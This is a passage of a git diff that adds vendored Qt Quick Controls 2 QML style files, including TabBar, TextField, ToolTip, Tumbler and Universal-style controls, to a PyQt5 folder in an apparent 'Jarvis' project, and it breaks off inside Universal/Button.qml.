implicitWidth: 56 + implicitHeight: 28 + + x: control.text ? (control.mirrored ? control.leftPadding : control.width - width - control.rightPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + + radius: 8 + leftPadding: 0 + rightPadding: 0 + padding: (height - 16) / 2 + color: control.checked ? control.palette.dark : control.palette.midlight + + Rectangle { + x: Math.max(0, Math.min(parent.width - width, control.visualPosition * parent.width - (width / 2))) + y: (parent.height - height) / 2 + width: 28 + height: 28 + radius: 16 + color: control.down ? control.palette.light : control.palette.window + border.width: control.visualFocus ? 2 : 1 + border.color: control.visualFocus ? control.palette.highlight : control.enabled ? control.palette.mid : control.palette.midlight + + Behavior on x { + enabled: !control.down + SmoothedAnimation { velocity: 200 } + } + } + } + + contentItem: IconLabel { + leftPadding: control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: !control.mirrored ? control.indicator.width + control.spacing : 0 + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.text + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 40 + visible: control.down || control.highlighted + color: control.down ? control.palette.midlight : control.palette.light + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TabBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TabBar.qml new file mode 100644 index 00000000..83f6b3b2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TabBar.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T + +T.TabBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + spacing: 1 + + contentItem: ListView { + model: control.contentModel + currentIndex: control.currentIndex + + spacing: control.spacing + orientation: ListView.Horizontal + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.AutoFlickIfNeeded + snapMode: ListView.SnapToItem + + highlightMoveDuration: 0 + highlightRangeMode: ListView.ApplyRange + preferredHighlightBegin: 40 + preferredHighlightEnd: width - 40 + } + + background: Rectangle { + color: control.palette.window + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TabButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TabButton.qml new file mode 100644 index 00000000..f8b303ea --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TabButton.qml @@ -0,0 +1,73 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.TabButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 24 + icon.height: 24 + icon.color: checked ? control.palette.windowText : control.palette.brightText + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.checked ? control.palette.windowText : control.palette.brightText + } + + background: Rectangle { + implicitHeight: 40 + color: Color.blend(control.checked ? control.palette.window : control.palette.dark, + control.palette.mid, control.down ? 0.5 : 0.0) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TextArea.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TextArea.qml new file mode 100644 index 00000000..45790e67 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TextArea.qml @@ -0,0 +1,75 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.TextArea { + id: control + + implicitWidth: Math.max(contentWidth + leftPadding + rightPadding, + implicitBackgroundWidth + leftInset + rightInset, + placeholder.implicitWidth + leftPadding + rightPadding) + implicitHeight: Math.max(contentHeight + topPadding + bottomPadding, + implicitBackgroundHeight + topInset + bottomInset, + placeholder.implicitHeight + topPadding + bottomPadding) + + padding: 6 + leftPadding: padding + 4 + + color: control.palette.text + placeholderTextColor: Color.transparent(control.color, 0.5) + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + + PlaceholderText { + id: placeholder + x: control.leftPadding + y: control.topPadding + width: control.width - (control.leftPadding + control.rightPadding) + height: control.height - (control.topPadding + control.bottomPadding) + + text: control.placeholderText + font: control.font + color: control.placeholderTextColor + verticalAlignment: control.verticalAlignment + visible: !control.length && !control.preeditText && (!control.activeFocus || control.horizontalAlignment !== Qt.AlignHCenter) + elide: Text.ElideRight + renderType: control.renderType + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TextField.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TextField.qml new file mode 100644 index 00000000..4d9cb691 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/TextField.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.TextField { + id: control + + implicitWidth: implicitBackgroundWidth + leftInset + rightInset + || Math.max(contentWidth, placeholder.implicitWidth) + leftPadding + rightPadding + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding, + placeholder.implicitHeight + topPadding + bottomPadding) + + padding: 6 + leftPadding: padding + 4 + + color: control.palette.text + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + placeholderTextColor: Color.transparent(control.color, 0.5) + verticalAlignment: TextInput.AlignVCenter + + PlaceholderText { + id: placeholder + x: control.leftPadding + y: control.topPadding + width: control.width - (control.leftPadding + control.rightPadding) + height: control.height - (control.topPadding + control.bottomPadding) + + text: control.placeholderText + font: control.font + color: control.placeholderTextColor + verticalAlignment: control.verticalAlignment + visible: !control.length && !control.preeditText && (!control.activeFocus || control.horizontalAlignment !== Qt.AlignHCenter) + elide: Text.ElideRight + renderType: control.renderType + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: 40 + border.width: control.activeFocus ? 2 : 1 + color: control.palette.base + border.color: control.activeFocus ? control.palette.highlight : control.palette.mid + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolBar.qml new file mode 100644 index 00000000..1e07b6bf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolBar.qml @@ -0,0 +1,54 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.ToolBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + background: Rectangle { + implicitHeight: 40 + color: control.palette.button + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolButton.qml new file mode 100644 index 00000000..63aaf893 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolButton.qml @@ -0,0 +1,75 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.ToolButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 24 + icon.height: 24 + icon.color: visualFocus ? control.palette.highlight : control.palette.buttonText + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.visualFocus ? control.palette.highlight : control.palette.buttonText + } + + background: Rectangle { + implicitWidth: 40 + implicitHeight: 40 + + opacity: control.down ? 1.0 : 0.5 + color: control.down || control.checked || control.highlighted ? control.palette.mid : control.palette.button + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolSeparator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolSeparator.qml new file mode 100644 index 00000000..188d0758 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolSeparator.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.ToolSeparator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: vertical ? 6 : 2 + verticalPadding: vertical ? 2 : 6 + + contentItem: Rectangle { + implicitWidth: vertical ? 1 : 30 + implicitHeight: vertical ? 30 : 1 + color: control.palette.mid + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolTip.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolTip.qml new file mode 100644 index 00000000..e0389903 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/ToolTip.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.ToolTip { + id: control + + x: parent ? (parent.width - implicitWidth) / 2 : 0 + y: -implicitHeight - 3 + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + margins: 6 + padding: 6 + + closePolicy: T.Popup.CloseOnEscape | T.Popup.CloseOnPressOutsideParent | T.Popup.CloseOnReleaseOutsideParent + + contentItem: Text { + text: control.text + font: control.font + wrapMode: Text.Wrap + color: control.palette.toolTipText + } + + background: Rectangle { + border.color: control.palette.dark + color: control.palette.toolTipBase + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Tumbler.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Tumbler.qml new file mode 100644 index 00000000..cd10263b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Tumbler.qml @@ -0,0 +1,75 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Tumbler { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) || 60 // ### remove 60 in Qt 6 + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) || 200 // ### remove 200 in Qt 6 + + delegate: Text { + text: modelData + color: control.visualFocus ? control.palette.highlight : control.palette.text + font: control.font + opacity: 1.0 - Math.abs(Tumbler.displacement) / (control.visibleItemCount / 2) + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + } + + contentItem: TumblerView { + implicitWidth: 60 + implicitHeight: 200 + model: control.model + delegate: control.delegate + path: Path { + startX: control.contentItem.width / 2 + startY: -control.contentItem.delegateHeight / 2 + PathLine { + x: control.contentItem.width / 2 + y: (control.visibleItemCount + 1) * control.contentItem.delegateHeight - control.contentItem.delegateHeight / 2 + } + } + + property real delegateHeight: control.availableHeight / control.visibleItemCount + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ApplicationWindow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ApplicationWindow.qml new file mode 100644 index 00000000..153b9e8e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ApplicationWindow.qml @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Window 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 +import QtQuick.Controls.Universal.impl 2.12 + +T.ApplicationWindow { + id: window + + color: Universal.background + + overlay.modal: Rectangle { + color: window.Universal.baseLowColor + } + + overlay.modeless: Rectangle { + color: window.Universal.baseLowColor + } + + FocusRectangle { + parent: window.activeFocusControl + width: parent ? parent.width : 0 + height: parent ? parent.height : 0 + visible: parent && !!parent.useSystemFocusVisuals && !!parent.visualFocus + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/BusyIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/BusyIndicator.qml new file mode 100644 index 00000000..2ad21b46 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/BusyIndicator.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 +import QtQuick.Controls.Universal.impl 2.12 + +T.BusyIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + contentItem: BusyIndicatorImpl { + implicitWidth: 20 + implicitHeight: 20 + + readonly property real size: Math.min(control.availableWidth, control.availableHeight) + + count: size < 60 ? 5 : 6 // "Small" vs. "Large" + color: control.Universal.accent + visible: control.running + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Button.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Button.qml new file mode 100644 index 00000000..657b2835 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Button.qml @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.Button { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + 